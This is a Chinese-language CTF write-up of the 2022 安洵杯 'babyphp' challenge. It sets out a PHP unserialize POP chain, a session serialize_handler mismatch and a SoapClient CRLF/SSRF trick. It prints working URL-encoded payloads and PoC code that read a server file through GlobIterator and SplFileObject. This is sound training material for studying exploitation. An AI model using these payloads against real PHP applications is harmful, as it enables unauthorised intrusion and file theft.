• 2022安洵杯babyphp


    这个题没打出来有点可惜,感觉做的都差不多了,不过有些地方确实没理解,还是理解不到位

    先来看序列化,这个序列化是不难的,不过有一个小坑,我们先理一遍顺序

    1. array(0) { }
    2. //something in flag.php
    3. class A
    4. {
    5. public $a;
    6. public $b;
    7. public function __wakeup()
    8. {
    9. $this->a = "babyhacker";
    10. }
    11. public function __invoke()
    12. {
    13. if (isset($this->a) && $this->a == md5($this->a)) {
    14. $this->b->uwant();
    15. }
    16. }
    17. }
    18. class B
    19. {
    20. public $a;
    21. public $b;
    22. public $k;
    23. function __destruct()
    24. {
    25. $this->b = $this->k;
    26. die($this->a);
    27. }
    28. }
    29. class C
    30. {
    31. public $a;
    32. public $c;
    33. public function __toString()
    34. {
    35. $cc = $this->c;
    36. return $cc();
    37. }
    38. public function uwant()
    39. {
    40. if ($this->a == "phpinfo") {
    41. phpinfo();
    42. } else {
    43. call_user_func(array(reset($_SESSION), $this->a));
    44. }
    45. }
    46. }
    47. if (isset($_GET['d0g3'])) {
    48. ini_set($_GET['baby'], $_GET['d0g3']);
    49. session_start();
    50. $_SESSION['sess'] = $_POST['sess'];
    51. }
    52. else{
    53. session_start();
    54. if (isset($_POST["pop"])) {
    55. unserialize($_POST["pop"]);
    56. }
    57. }
    58. var_dump($_SESSION);
    59. highlight_file(__FILE__);

    flag.php

    1. session_start();
    2. highlight_file(__FILE__);
    3. //flag在根目录下
    4. if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    5. $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    6. $_SESSION["F1AG"]= $f1ag;
    7. }else{
    8. echo "only localhost!!";
    9. }
    10. only localhost!!

    这里最后肯定要调用C类的uwant函数,可以由A类的__invoke()方法触发,

    A类的__invoke()方法由C类的__toString()方法触发,这里有一个小坑,我当时一直以为这个tostring是A类的 $this->a = "babyhacker";触发的,结果一直没跑通,后来看没用到B类,尝试用B的die($this->a);,没想到是可以的

    那这样链子就出来了

    Poc

    1. highlight_file(__FILE__);
    2. error_reporting(0);
    3. class A
    4. {
    5. public $a;
    6. public $b;
    7. public function __construct($a,$b)
    8. {
    9. $this->a=$a;
    10. $this->b=$b;
    11. }
    12. public function __wakeup()
    13. {
    14. $this->a = "babyhacker";
    15. echo '触发了A类的 __wakeup';
    16. }
    17. public function __invoke()
    18. {echo '触发了A类的 __invoke';
    19. if (isset($this->a) && $this->a == md5($this->a)) {
    20. $this->b->uwant();
    21. }
    22. }
    23. }
    24. class B
    25. {
    26. public $a;
    27. public $b;
    28. public $k;
    29. public function __construct($a,$b,$k)
    30. {
    31. $this->a=$a;
    32. $this->b=$b;
    33. $this->k=$k;
    34. }
    35. function __destruct()
    36. {
    37. $this->b = $this->k;
    38. die($this->a);
    39. }
    40. }
    41. class C
    42. {
    43. public $a;
    44. public $c;
    45. public function __construct($a,$c)
    46. {
    47. $this->a=$a;
    48. $this->c=$c;
    49. }
    50. public function __toString()
    51. {
    52. echo '触发了C类的 __toString';
    53. $cc = $this->c;
    54. return $cc();
    55. }
    56. public function uwant()
    57. {
    58. if ($this->a == "phpinfo") {
    59. phpinfo();
    60. } else {
    61. call_user_func(array(reset($_SESSION), $this->a));
    62. }
    63. }
    64. }
    65. $a=new B(new C('',new A('0e215962017',new C('phpinfo',''))),'','');
    66. echo (serialize($a));

    Payload

    这里记得绕过wakup

    pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D

     

    接下来就是想 call_user_func(array(reset($_SESSION), $this->a));的利用了

    call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法

    reset的话会把指针指向$_SESSION数组的第一个键值对

    感觉这里是不是在考php原生类读文件呢?

    PHP利用原生类进行SSRF攻击

    https://blog.csdn.net/weixin_44033675/article/details/116903866

    还是先叙述一下这个攻击手法:

    SoapClient是php的一个内置类,它本身是存在CRLF和SSRF漏洞的,怎么说呢?这个类可以控制发送请求包,并且headers可控,不仅可控,还可以传入回车+换行(\r\n),那么被回车下去的请求头不就成了post数据。所以我们可以任意构造请求包,另外,当这个类被调用它没有的方法,会触发它的call,引发SSRF漏洞

    1. $target = 'http://127.0.0.1:5555/path';
    2. $post_string = 'data=something';
    3. $headers = array(
    4. 'X-Forwarded-For: 127.0.0.1',
    5. 'Cookie: PHPSESSID=my_session'
    6. );
    7. $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
    8. $aaa = serialize($b);
    9. $aaa = str_replace('^^',"\r\n",$aaa);
    10. $aaa = str_replace('&','&',$aaa);
    11. echo $aaa;
    12. $c = unserialize($aaa);
    13. $c->not_exists_function();
    14. ?>

    session反序列化漏洞:

    1. session_start();
    2. $_SESSION['name'] = '1234567';
    3. ?>

    session是会被反序列化存储到本地的

    session.serialize_handler这个参数控制session反序列化的处理器,不同的处理器序列化的结果不一样

    session.serialize_handler=php 时,session文件内容为: name|s:7:"1234567";

    session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"1234567";}

    session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"1234567";

    而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞

    php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入

    $_SESSION[‘name’] = ‘|username‘

    那么使用php_serialize引擎时可以得到序列化内容

    a:1:{s:4:”name”;s:4:”|username”;} 

    然后用php引擎反序列化时,|被当做分隔符,于是

    a:1:{s:4:”name”;s:4:”

    被当作key

    username被当做vaule进行反序列化

    于是,我们只要传入$_SESSION[‘name’] = |序列化内容

    即可触发漏洞

    SoapClient序列化构造:

    1. $a = new SoapClient(null,
    2. array(
    3. 'user_agent' => "aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332",
    4. 'uri' => 'bbb',
    5. // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
    6. 'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
    7. )
    8. );
    9. $b = serialize($a);
    10. echo urlencode($b);
    11. ?>

    首先通过ini_set更改session的处理器,传入构造的session序列化字符串

    1. if (isset($_GET['d0g3'])) {
    2. ini_set($_GET['baby'], $_GET['d0g3']);
    3. session_start();
    4. $_SESSION['sess'] = $_POST['sess'];
    5. }
    6. else{
    7. session_start();
    8. if (isset($_POST["pop"])) {
    9. unserialize($_POST["pop"]);
    10. }
    11. }

    Payload

    GET: ?baby=session.serialize_handler&d0g3=php_serialize POST: sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A47%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DGlobIterator%26b%3D%2F%2Af%2A%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

    第二次,需要将sess设置为SoapClient这个类,方便第三次利用反序列化pop链中call_user_func激活soap类

    Payload

    GET ?D0G3 POST sess=SoapClient

    第三次,直接用call_user_func激活soap类,通过flag.php将flag写入session

    Payload

    pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22aaa%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D

    实际上那个第二步可能是不需要的,soap类的序列化字符串已经存入session了,直接传入pop激活soap也是可以的

     

  • 相关阅读:
    数据库基本概念
    mysql学习(五)
    【Unity3D编辑器拓展】Unity3D的IMGUI、GUI、GUILayout、EditorGUI、EditorGUILayout、OnGUI【全面总结】
    4.超链接
    Flask 学习-31.flask_jwt_extended 验证token四种方headers/cookies/json/query_string
    2023届双非硕士四个月秋招历程总结
    【优化选址】基于模拟退火粒子群算法配电网分布式能源选址定容问题附matlab代码
    Linux | vim的入门手册
    LLVM 插桩 LLVM IR PHI指令
    【BP回归预测】改进的鲸鱼算法优化BP神经网络回归预测(多输入单输出)【含Matlab源码 2184期】
  • 原文地址:https://blog.csdn.net/qq_61778128/article/details/128088773